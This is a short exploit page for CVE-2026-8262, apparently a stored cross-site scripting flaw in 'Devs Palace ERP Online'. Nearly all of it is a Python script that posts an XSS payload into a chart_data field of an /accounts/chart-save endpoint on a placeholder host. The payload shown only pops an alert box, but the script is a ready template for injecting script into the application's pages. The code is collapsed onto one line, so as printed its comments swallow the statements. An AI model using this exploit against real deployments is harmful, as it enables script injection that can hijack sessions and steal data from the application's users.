CVE-2026-8262 Devs Palace ERP Online XSS漏洞

import requests # Target URL configuration # Replace 'target-host' with the actual IP or domain of the vulnerable server target_url = "http://target-host/accounts/chart-save" # Malicious XSS payload # This payload attempts to execute JavaScript in the context of the victim's browser payload = '<img src=x onerror=alert("CVE-2026-8262")>' # Example data structure based on the vulnerable endpoint # Parameter names may vary; this is a generic representation of the exploit request data = { "chart_name": "ExploitChart", "chart_data": payload, # Injecting payload into a data field "save": "Submit" } # Sending the POST request try: response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the application logs or view the chart to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")